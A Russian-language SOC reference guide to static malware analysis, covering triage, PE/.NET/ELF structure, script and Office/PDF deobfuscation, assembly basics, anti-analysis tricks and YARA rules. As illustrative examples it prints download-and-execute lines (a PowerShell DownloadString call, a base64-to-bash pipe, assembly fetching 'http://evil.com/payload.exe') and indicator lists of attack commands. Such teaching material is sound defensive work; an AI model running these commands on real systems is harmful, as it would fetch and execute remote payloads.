Security Operations Center

Статический анализ вредоносного ПО

Справочное руководство SOC-аналитика по методологии исследования вредоносных файлов без их запуска — от первичной сортировки до дизассемблирования

🔬

Что такое статический анализОсновные принципы, отличия от динамического анализа, когда применять

Статический анализ — это исследование вредоносного файла без его запуска. Аналитик изучает структуру файла, извлекает строки, анализирует импортируемые функции, проверяет цифровые подписи и при необходимости дизассемблирует код. Статический анализ безопаснее динамического (нет риска заражения), позволяет понять логику работы малвари на глубоком уровне и обнаружить спящие возможности, которые не проявились бы при запуске в песочнице. Данное руководство выстроено от простого к сложному: первая часть рассчитана на SOC-аналитика, вторая — на начинающего реверс-инженера.

Статический vs Динамический

Динамический анализ отвечает на вопрос «что делает малварь?» — вы видите её поведение в реальном времени. Статический анализ отвечает на вопрос «как она это делает и что ещё может?» — вы читаете её код. На практике оба метода дополняют друг друга: динамический даёт быструю оценку, статический — глубокое понимание.

Когда нужен статический анализ

Типичные сценарии

  • Образец обнаруживает виртуальную среду и отказывается работать (anti-sandbox) — динамический анализ ничего не даёт.
  • Необходимо извлечь зашитые C2-адреса, ключи шифрования, конфигурации без запуска.
  • Требуется написать YARA-правило или сигнатуру для детекции семейства.
  • Необходимо определить все возможности малвари, включая «спящие» модули.
  • Расследование инцидента: нужно понять полную цепочку атаки от дроппера до финального пейлоада.
  • Образец слишком опасен для запуска (деструктивный wiper, ransomware без kill switch).

Уровни статического анализа

Базовый (SOC Triage) Хэширование, идентификация типа файла, извлечение строк, проверка импортов и метаданных. Не требует знания ассемблера. Занимает 5–15 минут. Достаточно для 80% рутинных задач SOC.
Промежуточный (Malware Analyst) Анализ PE-структуры, секций, ресурсов, таблиц импорта/экспорта, энтропия, распаковка, деобфускация скриптов, YARA-правила. Требует понимания форматов файлов.
Продвинутый (Reverse Engineer) Полное дизассемблирование и декомпиляция, анализ потока управления, восстановление алгоритмов, обход антиотладки, распаковка кастомных пакеров. Требует знания ассемблера и архитектуры CPU.
🏷️

Первичная сортировка (Triage)Быстрая оценка образца за 5–15 минут без глубокого погружения

Цель этапа

Быстро ответить на ключевые вопросы: что это за файл, видели ли его раньше, насколько он подозрителен, стоит ли тратить время на глубокий анализ. Это первый этап любого расследования.

Шаг 1 — Хэширование

Вычислите хэш-суммы

SHA-256, MD5, SHA-1 — в этом порядке приоритета. SHA-256 — основной идентификатор в TI-платформах. Используйте sha256sum (Linux), Get-FileHash (PowerShell) или HashMyFiles (GUI).

PowerShellGet-FileHash -Algorithm SHA256 .\sample.exe certutil -hashfile .\sample.exe SHA256

Проверьте хэш в TI-базах

Загрузите хэш (не сам файл!) в VirusTotal, MalwareBazaar, Hybrid Analysis. Если образец уже известен — вы получите готовый вердикт, семейство, IoC и поведенческий отчёт. Не загружайте сам файл, если он может содержать конфиденциальные данные организации.

Шаг 2 — Идентификация типа файла

Определите реальный тип файла

Расширение файла может быть подделано. Определите реальный тип по magic bytes (сигнатуре заголовка). Используйте Detect It Easy (DiE), file (Linux), TrID. DiE также покажет компилятор, упаковщик и платформу.

Magic bytes4D 5A → PE (Windows EXE/DLL) "MZ" 7F 45 4C 46 → ELF (Linux) ".ELF" 25 50 44 46 → PDF "%PDF" 50 4B 03 04 → ZIP / DOCX / XLSX / JAR "PK" D0 CF 11 E0 → OLE2 (старый Office .doc/.xls) FF FE → Unicode text (BOM)

Шаг 3 — Извлечение строк

Извлеките читаемые строки

Строки — самый быстрый способ получить IoC без глубокого анализа. Ищите URL-адреса, IP-адреса, домены, пути к файлам, ключи реестра, сообщения об ошибках, имена функций. Используйте strings (Sysinternals / GNU) для базового извлечения и FLOSS (Mandiant) для автоматической деобфускации зашифрованных строк.

Что искать в строкахhttp:// https:// ← C2-адреса \AppData\ \Temp\ \Startup\ ← Пути персистентности HKLM\SOFTWARE\Microsoft\Windows\ ← Ключи реестра cmd.exe /c powershell -enc ← Выполнение команд CreateRemoteThread VirtualAllocEx ← Инжекция в процессы Mozilla/5.0 ← User-Agent (C2-трафик) password username login ← Credential theft .onion pastebin telegram ← Каналы эксфильтрации

Шаг 4 — Быстрая оценка

pestudio — комплексный первичный анализ

Для PE-файлов на Windows pestudio объединяет все шаги triage в одном интерфейсе: хэши, строки, импорты, секции, ресурсы, энтропия, VirusTotal-проверка, индикаторы подозрительности — всё с цветовой разметкой. Рекомендуется как первый инструмент для любого PE-образца.

Правило 5 минут: Если после triage (хэш → TI → строки → pestudio) образец опознан как известная малварь — документируйте IoC и переходите к реагированию. Глубокий анализ нужен только для неизвестных / сложных образцов.
⚙️

Анализ PE-файлов (Windows)Portable Executable — структура, импорты, секции, ресурсы

Что такое PE

Portable Executable (PE) — формат исполняемых файлов Windows: .exe, .dll, .sys, .scr, .ocx. Понимание структуры PE позволяет определить возможности малвари (по импортируемым функциям), обнаружить упаковку (по энтропии секций), извлечь ресурсы (иконки, вложенные файлы) и выявить аномалии. Анализ выполняется в CFF Explorer, PEView, pestudio, PE-bear.

Ключевые области анализа

Таблица импортов (Import Address Table)

Импортируемые функции WinAPI раскрывают намерения малвари. Вот что нужно искать:

Инжекция в процессыCreateRemoteThread, VirtualAllocEx, WriteProcessMemory, NtUnmapViewOfSection
Работа с файламиCreateFileA/W, WriteFile, DeleteFileA, CopyFileA, MoveFileA
Работа с реестромRegSetValueEx, RegCreateKeyEx, RegDeleteKey
Сетевая активностьInternetOpenA, HttpSendRequest, URLDownloadToFile, WSAStartup, connect
КриптографияCryptEncrypt, CryptDecrypt, CryptAcquireContext, BCryptEncrypt
Кейлоггинг / скриншотыSetWindowsHookEx, GetAsyncKeyState, BitBlt, GetDC
Повышение привилегийAdjustTokenPrivileges, OpenProcessToken, LookupPrivilegeValue
АнтианализIsDebuggerPresent, CheckRemoteDebuggerPresent, GetTickCount, QueryPerformanceCounter

Секции и энтропия

PE-файл разделён на секции (.text, .data, .rdata, .rsrc). Каждая имеет характерную энтропию:

  • Энтропия 0–4: данные с низкой случайностью (ASCII-текст, нули). Нормально для .data.
  • Энтропия 4–6: типичный скомпилированный код. Нормально для .text.
  • Энтропия 7–8: зашифрованные или сжатые данные. Признак упаковки (UPX, Themida, custom packer) или шифрования ресурсов.

Если весь PE-файл имеет энтропию >7 — он почти наверняка упакован. Секция с именем, отличным от стандартных (.UPX0, .vmp, случайные имена) — дополнительный признак.

Ресурсы (Resources)

Секция .rsrc может содержать вложенные файлы: дополнительные PE-файлы (второй этап), конфигурации, иконки, строковые таблицы. Используйте Resource Hacker или CFF Explorer для извлечения и анализа ресурсов. Частый паттерн: дроппер хранит зашифрованный пейлоад в ресурсах, расшифровывает и запускает при выполнении.

Таблица экспортов и временные метки

  • Exports: DLL экспортирует функции для вызова другими программами. Имена экспортов могут раскрыть назначение (ServiceMain = служба, DllRegisterServer = COM-объект).
  • TimeDateStamp: дата компиляции в PE-заголовке. Может быть подделана, но если она из будущего или из 1970 года — это явная аномалия.
  • Цифровая подпись: легитимное ПО обычно подписано. Отсутствие подписи или невалидная подпись — подозрительный индикатор (но не стоит полагаться только на это, и легитимное ПО может быть без подписи).
Практика: Откройте любой системный файл Windows (например, notepad.exe) в CFF Explorer — изучите его структуру как эталон. Затем сравните с вредоносным образцом: аномалии станут очевидны.
🟣

Анализ .NET-сборокC# / VB.NET малварь — декомпиляция, обфускация, извлечение логики

Почему .NET — это «подарок» для аналитика

.NET-сборки компилируются не в машинный код, а в промежуточный язык (CIL / MSIL), который содержит метаданные: имена классов, методов, переменных, строки. Это позволяет декомпилировать сборку обратно в читаемый C# / VB.NET код — практически один-в-один с оригиналом. Для аналитика это означает: вместо чтения ассемблера — чтение C#. Многие RAT (AsyncRAT, QuasarRAT), infostealers (AgentTesla) и загрузчики написаны на .NET.

Методология

Как определить, что файл — .NET

  • DiE / PEiD покажет: «.NET» / «MSIL» / «C#».
  • В импортах PE: единственная значимая функция — _CorExeMain (из mscoree.dll).
  • В заголовке PE: наличие CLR Runtime Header (COM Descriptor Directory).

Декомпиляция

Откройте сборку в dnSpyEx (форк dnSpy, активно развивается) или ILSpy. Вы увидите полное дерево пространств имён, классов и методов с декомпилированным C#-кодом. Ищите:

  • Метод Main() или конструктор — точка входа.
  • Строки с URL, IP, доменами — C2-адреса.
  • Методы с именами Encrypt, Decrypt, Send, Upload, Keylog.
  • Классы, отвечающие за персистентность (Registry, ScheduledTask).
  • base64-закодированные строки — часто содержат зашифрованные конфигурации.

Обфускация .NET

Злоумышленники обфусцируют .NET-код с помощью инструментов: ConfuserEx, .NET Reactor, Babel, Eazfuscator. Признаки: нечитаемые имена методов/классов (случайные символы, Unicode), зашифрованные строки, control flow obfuscation. Инструменты деобфускации: de4dot (автоматическая деобфускация для большинства протекторов), dnSpyEx (ручной патчинг и отладка).

Быстрый рецепт: Для большинства .NET-малвари достаточно: de4dot sample.exe -o clean.exe → открыть clean.exe в dnSpyEx → найти конфигурацию C2 и логику. Весь процесс — 10–20 минут.
📜

Анализ скриптовPowerShell, VBScript, JScript, Bash — деобфускация и извлечение пейлоадов

Почему скрипты важны

Скрипты — основной вектор начальной доставки малвари: фишинговые вложения (.vbs, .js, .wsf, .hta), PowerShell-дропперы, bash-загрузчики. Они текстовые по природе и поддаются анализу без дизассемблирования, но почти всегда обфусцированы.

PowerShell

Методология анализа

  • -EncodedCommand / -enc: декодируйте base64-аргумент: [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('...')).
  • Многослойная обфускация: IEX (Invoke-Expression) оборачивает код в несколько слоёв. Замените IEX на Write-Output — скрипт выведет расшифрованный код вместо выполнения.
  • Форматирование строк: ("{2}{0}{1}" -f 'wnload','String','Do')DownloadString. Раскройте вручную или в PowerShell ISE.
  • Char-массивы: [char]104+[char]116+[char]116+[char]112http.
Деобфускация# Вместо выполнения — выводим расшифрованный код: # Оригинал: IEX (New-Object Net.WebClient).DownloadString('http://...') # Заменяем IEX на Write-Output: Write-Output (New-Object Net.WebClient).DownloadString('http://...') # Или для -EncodedCommand: [System.Text.Encoding]::Unicode.GetString( [Convert]::FromBase64String('BASE64_STRING_HERE') )

VBScript / JScript

Методология анализа

  • Откройте скрипт в текстовом редакторе (Notepad++, VS Code). Форматируйте код для читаемости.
  • Ищите вызовы WScript.Shell, Shell.Application, Scripting.FileSystemObject — выполнение команд и работа с файлами.
  • Ищите MSXML2.XMLHTTP, WinHttp.WinHttpRequest — загрузка пейлоадов из сети.
  • Замените Execute / eval на WScript.Echo — скрипт выведет расшифрованный код.
  • Для .wsf и .hta — это XML-обёртки; извлеките скрипт из тегов <script>.

Bash / Shell

Методология анализа

  • Ищите curl, wget — загрузка пейлоадов. eval, bash -c — выполнение кода.
  • base64-обфускация: echo "BASE64" | base64 -d | bash — декодируйте вручную: echo "BASE64" | base64 -d (без | bash).
  • Hex-обфускация: \x68\x74\x74\x70http. Используйте echo -e или CyberChef.
  • Ищите crontab-записи, systemd-сервисы, записи в ~/.bashrc — механизмы персистентности.
Универсальный инструмент: CyberChef (GCHQ) — веб-приложение для цепочечной деобфускации: Base64 → URL Decode → Gunzip → XOR → результат. Незаменим для многослойной обфускации.
📄

Анализ вредоносных документовOffice (VBA макросы), PDF — извлечение пейлоадов без открытия

Microsoft Office (макросы VBA)

Методология

  • Определите формат: .doc/.xls (OLE2, старый формат) или .docx/.xlsm (ZIP-архив с XML). Для OLE2 — olevba; для OOXML — распакуйте как ZIP и ищите vbaProject.bin.
  • Извлеките макросы: olevba sample.doc (из пакета oletools). Выводит VBA-код, подозрительные паттерны, IoC.
  • Анализируйте VBA: ищите AutoOpen, Document_Open, Workbook_Open (автозапуск), Shell, WScript.Shell (выполнение команд), URLDownloadToFile (загрузка), CreateObject("Scripting.FileSystemObject") (запись файлов).
  • Обфускация VBA: Chr()-конкатенация, StrReverse, зашифрованные строки в UserForms или свойствах документа. Используйте ViperMonkey для эмуляции VBA без запуска Office.
oletools# Извлечение макросов: olevba sample.doc # Обнаружение DDE, макросов, встроенных объектов: oleid sample.doc # Извлечение встроенных OLE-объектов: oleobj sample.doc # Анализ RTF-файлов (эксплойты): rtfobj sample.rtf

PDF

Методология

  • pdfid: pdfid sample.pdf — показывает количество объектов: /JS, /JavaScript (встроенный скрипт), /OpenAction, /AA (автозапуск), /EmbeddedFile (вложения), /Launch (запуск внешних программ).
  • pdf-parser: pdf-parser -a sample.pdf — детальный разбор объектов. pdf-parser --object N --filter --raw — извлечение содержимого конкретного объекта.
  • Типичные вектора: JavaScript-эксплойты (Adobe Reader), фишинговые ссылки, встроенные файлы, QR-коды с вредоносными URL.
Инструменты: oletools (olevba, oleid, oleobj, rtfobj) — стандарт для Office-анализа. pdfid + pdf-parser (Didier Stevens) — стандарт для PDF. XLMMacroDeobfuscator — для Excel 4.0 макросов (XLM), которые используются в обход VBA-детекции. Все инструменты входят в REMnux.
🐧

Анализ ELF-файлов (Linux)Executable and Linkable Format — структура, символы, системные вызовы

Контекст

С ростом облачной инфраструктуры и IoT-устройств Linux-малварь становится всё более распространённой: криптомайнеры, ботнеты (Mirai и его варианты), ransomware для Linux-серверов (ESXi-шифровальщики), бэкдоры для серверов. Принципы анализа аналогичны PE, но инструменты и формат отличаются.

Методология

Базовый анализ

  • file sample — тип файла, архитектура (x86, x64, ARM, MIPS), статическая/динамическая линковка.
  • readelf -h sample — ELF-заголовок: точка входа, архитектура, тип (EXEC, DYN, REL).
  • readelf -S sample — секции: .text (код), .rodata (строки), .data, .bss.
  • readelf --dyn-syms sample — динамические символы: импортируемые функции (аналог IAT в PE).
  • strings sample / strings -el sample — извлечение ASCII и Unicode строк.

Подозрительные импорты / системные вызовы

Сетевая активностьsocket, connect, send, recv, getaddrinfo
Выполнение командexecve, system, popen, fork
Работа с файламиopen, write, unlink, rename, chmod
КриптографияEVP_EncryptInit, AES_encrypt (OpenSSL), custom XOR-циклы

Статическая линковка

Если файл статически слинкован (file покажет «statically linked»), стандартные имена функций отсутствуют — вместо connect будет безымянный адрес. В таком случае используйте Ghidra с базой сигнатур (FLIRT / Function ID) для восстановления имён стандартных библиотечных функций.

Инструменты: readelf, objdump, nm — встроены в Linux. Ghidra — для дизассемблирования и декомпиляции ELF. Cutter (r2-based) — GUI-альтернатива. Для IoT-малвари (ARM, MIPS) — Ghidra поддерживает мультиархитектурный анализ.
🧬

Введение в дизассемблированиеПереход от SOC-анализа к reverse engineering — базовые концепции

⚠️ Порог входа: Этот раздел требует базового понимания архитектуры процессора, регистров и стека. Если вы только начинаете — начните с triage и анализа форматов (секции 02–07), а к дизассемблированию вернитесь позже.

Адреса памяти

Что значит 0x401000

В дизассемблере вы постоянно будете видеть числа вида 0x401000, 0x7FFE0300, 0x00000000. Это адреса в виртуальной памяти процесса — каждому байту в памяти присвоен уникальный номер (адрес). Префикс 0x означает шестнадцатеричную (hex) систему счисления.

0x00400000 – 0x004XXXXXОбласть загрузки PE-файла (Image Base). Здесь лежит код и данные анализируемой программы. 0x00401000 — типичный адрес начала секции .text (код).
0x7FFE0000 – 0x7FFFFFFFСистемные DLL: kernel32.dll, ntdll.dll, user32.dll. Адреса WinAPI-функций, которые вызывает малварь.
0x0019F000 – 0x001XXXXXСтек текущего потока (thread stack). Растёт «вниз» — от старших адресов к младшим. Здесь хранятся локальные переменные и адреса возврата.
0x00000000 (NULL)Невалидный адрес. Обращение к нему вызывает Access Violation. Если функция вернула 0 — обычно это ошибка.

Когда вы видите инструкцию call 0x00401000 — это вызов функции, расположенной по адресу 0x00401000 внутри анализируемого файла. А call dword ptr [0x00402078] — это вызов по адресу, записанному в таблице импортов (IAT), то есть обращение к WinAPI.

Регистры процессора

Что такое регистры

Регистры — это сверхбыстрая память внутри самого процессора (не RAM). Их немного, и каждый имеет определённую роль. В x86 регистры 32-битные (E-префикс: EAX), в x64 — 64-битные (R-префикс: RAX). При анализе малвари вы будете видеть их в каждой строке дизассемблированного кода.

Регистры общего назначения

EAX / RAX — АккумуляторГлавный «рабочий» регистр. Хранит возвращаемое значение функций. После call CreateFileA результат (хэндл файла или ошибка) будет в EAX.
EBX / RBX — BaseРегистр общего назначения, часто используется для хранения указателей на данные. В малвари — нередко хранит адрес буфера или базовый адрес структуры.
ECX / RCX — CounterСчётчик циклов. Инструкция loop автоматически уменьшает ECX. В x64 — первый аргумент функции (Microsoft calling convention).
EDX / RDX — DataРегистр данных. Используется для расширения EAX при умножении/делении. В x64 — второй аргумент функции.
ESI / RSI — Source IndexУказатель источника для строковых операций (movsb, cmpsb). В малвари часто указывает на буфер-источник при копировании данных.
EDI / RDI — Destination IndexУказатель назначения для строковых операций. В паре с ESI используется при копировании блоков памяти.

Специальные регистры

ESP / RSP — Stack PointerУказатель вершины стека. Автоматически изменяется при push / pop / call / ret. Показывает, «где мы сейчас» в стеке.
EBP / RBP — Base PointerУказатель базы стекового фрейма. [ebp-4] — первая локальная переменная, [ebp+8] — первый аргумент функции (в x86).
EIP / RIP — Instruction PointerАдрес следующей исполняемой инструкции. Нельзя изменить напрямую — только через jmp, call, ret. Контроль над EIP/RIP = контроль над выполнением программы.
EFLAGS / RFLAGSРегистр флагов. Хранит результаты сравнений: Zero Flag (ZF), Carry Flag (CF), Sign Flag (SF). Инструкции je/jne проверяют именно эти флаги.

Инструкции ассемблера

Расшифровка базовых инструкций

Ассемблер — это текстовое представление машинного кода. Каждая инструкция выполняет одну элементарную операцию. Формат: ИНСТРУКЦИЯ ПРИЁМНИК, ИСТОЧНИК (Intel-синтаксис).

MOV — переместить (скопировать) mov eax, 5 → записать число 5 в регистр EAX. mov eax, ebx → скопировать значение из EBX в EAX. mov eax, [ebp-4] → прочитать значение из памяти по адресу (EBP - 4) в EAX. Квадратные скобки [ ] означают «значение по адресу» (разыменование указателя).
PUSH / POP — работа со стеком push eax → положить значение EAX на вершину стека (ESP уменьшается на 4). pop ebx → снять значение с вершины стека в EBX (ESP увеличивается на 4). Используются для передачи аргументов функциям (x86) и сохранения регистров.
CALL / RET — вызов и возврат call 0x401000 → сохранить адрес следующей инструкции на стек (адрес возврата) и перейти по адресу 0x401000. ret → снять адрес возврата со стека и перейти по нему. Так работают все функции.
CMP / TEST — сравнение cmp eax, 0 → сравнить EAX с 0 (вычитание без сохранения результата, только флаги). test eax, eax → побитовое AND без сохранения; если EAX = 0, устанавливается Zero Flag. После cmp/test всегда идёт условный переход.
JMP / JE / JNE / JA / JB — переходы jmp 0x401070 → безусловный переход (аналог goto). je (Jump if Equal) → перейти, если ZF=1 (значения равны). jne (Jump if Not Equal) → перейти, если ZF=0. ja / jb → переход если больше / меньше (unsigned). Это и есть ветвления — if/else на уровне процессора.
XOR — исключающее ИЛИ xor eax, eax → обнуление регистра (любое число XOR само с собой = 0). Это самый быстрый способ обнулить регистр — идиома, которую вы увидите повсеместно. xor byte [esi], 0x55 → XOR-шифрование байта ключом 0x55 — частая техника обфускации строк в малвари.
LEA — загрузка адреса lea eax, [ebp-8] → записать в EAX адрес (EBP - 8), не содержимое по этому адресу. В отличие от MOV, LEA вычисляет адрес, но не обращается к памяти. Часто используется для получения указателя на локальную переменную.
NOP — нет операции nop → ничего не делает (opcode: 0x90). Используется для выравнивания кода, как placeholder для патчинга, и в NOP-sled'ах (эксплуатация переполнения буфера). Серия nop в середине кода — подозрительный признак.

Пример: как это выглядит вместе

x86 Assembly — комментированный примерpush 0 ; dwFlags = 0 push 0x00403040 ; lpszHeaders = NULL (указатель на строку) push 0x00403078 ; lpszUrl = "http://evil.com/payload.exe" push 0 ; lpszAgent = NULL call InternetOpenUrlA ; WinAPI: открыть URL mov [ebp-0x10], eax ; Сохранить хэндл соединения в локальную переменную cmp eax, 0 ; Проверить: соединение успешно? je 0x00401090 ; Если нет (EAX = 0) — перейти к обработке ошибки ; ... далее: чтение данных и запись в файл ...

Вызовы функций (calling conventions)

Понимание передачи аргументов критично для определения параметров WinAPI-вызовов:

  • x86 (stdcall / cdecl): аргументы передаются через стек (push) справа налево. push "http://evil.com" → push 0 → call URLDownloadToFileA.
  • x64 (Microsoft): первые 4 аргумента — в регистрах RCX, RDX, R8, R9. Остальные — через стек.

Инструменты дизассемблирования

Выбор инструмента

  • Ghidra (NSA, бесплатный) — мощный дизассемблер и декомпилятор. Декомпилятор генерирует псевдо-C код, что значительно упрощает анализ. Поддерживает PE, ELF, Mach-O, firmware. Рекомендуется как основной инструмент для начинающих.
  • IDA Pro (Hex-Rays, коммерческий) — индустриальный стандарт. IDA Free — бесплатная версия с ограничениями (без декомпилятора, только x86/x64). Hex-Rays Decompiler — лучший в индустрии, но платный.
  • Binary Ninja (Vector 35) — современная альтернатива с интуитивным интерфейсом и API для автоматизации. Есть бесплатная облачная версия.
  • Cutter (r2-based, бесплатный) — GUI для radare2 с декомпилятором (Ghidra или r2dec). Лёгкий и кроссплатформенный.
С чего начать: Установите Ghidra. Откройте простой PE-файл. Найдите функцию main или entry. Изучите граф потока управления (CFG). Прочитайте декомпилированный псевдо-C код. Попробуйте определить: что делает программа, какие API вызывает, есть ли ветвления (условия). Практикуйтесь на crackmes с crackmes.one.
🛡️

Техники противодействия анализуОбфускация, упаковка, антиотладка — как малварь прячется от аналитика

Зачем знать антианализ

Большинство серьёзной малвари использует техники противодействия анализу. Знание этих техник позволяет: распознать их на этапе triage, выбрать правильную стратегию обхода и не тратить время на «пустой» анализ упакованного файла, содержащего только распаковщик.

Упаковка (Packing)

Принцип и обнаружение

  • Что это: Оригинальный PE-файл сжимается/шифруется и помещается внутрь «обёртки» (stub), которая при запуске распаковывает код в память и передаёт ему управление.
  • Признаки: высокая энтропия (>7), малое количество импортов (только LoadLibrary, GetProcAddress), нестандартные имена секций, несоответствие размера на диске и виртуального размера секций.
  • Распространённые пакеры: UPX (бесплатный, легко распаковывается: upx -d sample.exe), Themida/WinLicense, VMProtect, ASPack, PECompact, кастомные пакеры.
  • Как распаковать: для UPX — встроенная команда. Для остальных — динамическая распаковка: запустить в отладчике (x64dbg), дождаться распаковки в памяти, снять дамп (плагин Scylla).

Обфускация кода

Типы обфускации

  • String encryption: строки (C2-адреса, ключи) зашифрованы и расшифровываются в рантайме. FLOSS может извлечь их статически.
  • Control flow flattening: замена нормального потока управления на switch-case конструкцию с диспетчером. Затрудняет чтение графа в IDA/Ghidra.
  • Dead code insertion: добавление бессмысленных инструкций для увеличения сложности.
  • API hashing: вместо имён функций — их хэши. Малварь вычисляет хэш от имени каждой экспортируемой функции DLL и сравнивает с нужным. Инструменты: HashDB (IDA-плагин), shellcode_hashes (FLARE).

Антиотладка и антивиртуализация

Распространённые проверки

IsDebuggerPresentПроверяет флаг BeingDebugged в PEB. Обход: патч возвращаемого значения на 0 в отладчике.
Timing checksGetTickCount, QueryPerformanceCounter, rdtsc — замер времени между инструкциями. Задержка = отладка.
VM detectionПоиск строк «VMware», «VirtualBox», «QEMU» в реестре, MAC-адресах, именах процессов, CPUID.
Sandbox detectionПроверка разрешения экрана (<1024x768), количества CPU (<2), объёма RAM (<2GB), наличия user-файлов на рабочем столе.
Обход: В x64dbg — плагин ScyllaHide автоматически обходит большинство антиотладочных проверок. Для anti-VM — используйте pafish для тестирования вашей ВМ на обнаруживаемость и VBoxCloak / VMwareCloak для маскировки среды.
🎯

YARA-правила и сигнатурный поискСоздание правил для обнаружения и классификации вредоносного ПО

Что такое YARA

YARA — инструмент для создания правил, описывающих паттерны в файлах. «Swiss army knife» малварь-аналитика: позволяет классифицировать образцы, искать по файловой системе, интегрировать с SIEM и песочницами. YARA-правило — это набор строк (hex, ASCII, regex) и условий их сочетания.

Структура правила

Синтаксис

YARArule Emotet_Loader { meta: author = "SOC Team" description = "Detects Emotet loader by characteristic strings" date = "2026-01-15" severity = "critical" strings: $mz = { 4D 5A } // PE magic bytes $str1 = "RunDLL32" ascii nocase $str2 = "regsvr32" ascii nocase $api1 = "VirtualAllocEx" ascii $api2 = "CreateRemoteThread" ascii $hex_xor = { 31 ?? 83 ?? 04 } // XOR + ADD 4 loop $url = /https?:\/\/[a-z0-9\-\.]+\.[a-z]{2,6}/ nocase condition: $mz at 0 and (2 of ($str*)) and (1 of ($api*)) and ($hex_xor or $url) }

Методология создания правил

  • Выберите уникальные паттерны: строки, hex-последовательности, которые специфичны для данного семейства и не встречаются в легитимном ПО.
  • Избегайте общих строк: «http://», «cmd.exe», «kernel32.dll» дадут огромное количество false positive.
  • Комбинируйте условия: 2 of ($str*) — любые 2 из набора строк. Это устойчивее, чем требование всех строк одновременно.
  • Используйте hex-паттерны: для обнаружения характерных ассемблерных конструкций (XOR-циклы, кастомные хэш-функции), которые сложнее изменить, чем строки.
  • Тестируйте на чистых файлах: запустите правило на C:\Windows\System32 — если есть срабатывания, правило слишком общее.

Применение

  • yara rule.yar sample.exe — проверка одного файла.
  • yara -r rule.yar /path/to/dir/ — рекурсивный поиск по директории.
  • Интеграция с SIEM: Cuckoo/CAPE, MISP, Velociraptor, osquery поддерживают YARA для хантинга по хостам.
  • Готовые наборы правил: YARA-Rules (community), signature-base (Neo23x0/Florian Roth), malpedia (Fraunhofer FKIE).
Совет: Создавайте YARA-правило для каждого проанализированного образца — это превращает ваш анализ в переиспользуемый детект. Даже простое правило из 3–4 уникальных строк лучше, чем ничего. Со временем ваша коллекция правил станет мощным инструментом хантинга.